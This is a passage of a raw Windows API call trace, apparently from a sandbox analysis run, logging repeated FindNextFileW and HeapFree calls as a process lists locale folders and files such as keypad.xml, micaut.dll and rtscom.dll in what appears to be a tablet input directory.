dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0245.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.766] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="da-DK", cAlternateFileName="")) returned 1 [0245.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.766] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="de-DE", cAlternateFileName="")) returned 1 [0245.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.766] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="el-GR", cAlternateFileName="")) returned 1 [0245.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="en-GB", cAlternateFileName="")) returned 1 [0245.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="es-ES", cAlternateFileName="")) returned 1 [0245.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="es-MX", cAlternateFileName="")) returned 1 [0245.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="et-EE", cAlternateFileName="")) returned 1 [0245.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0245.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0245.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0245.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0245.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0245.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0245.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0245.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.772] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="main.xml", cAlternateFileName="")) returned 1 [0245.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.772] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0245.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.772] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0245.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.773] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0245.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.773] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0245.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.773] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0245.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41780a8 | out: hHeap=0x520000) returned 1 [0245.773] FindNextFileW (in: hFindFile=0x60e930, lpFindFileData=0x376f08c | out: lpFindFileData=0x376f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x1e8, dwReserved1=0xffffe1ec, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0245.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.773] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="he-IL", cAlternateFileName="")) returned 1 [0245.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.775] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0245.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.775] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0245.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.775] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0245.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.776] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0245.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0245.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0245.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0245.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0245.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0245.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0245.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0245.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0245.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0245.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.779] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0245.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.779] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0245.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4167098 | out: hHeap=0x520000) returned 1 [0245.779] FindNextFileW (in: hFindFile=0x60eb30, lpFindFileData=0x376f308 | out: lpFindFileData=0x376f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xffffe10c, dwReserved1=0x10a, cFileName="rtscom.dll", 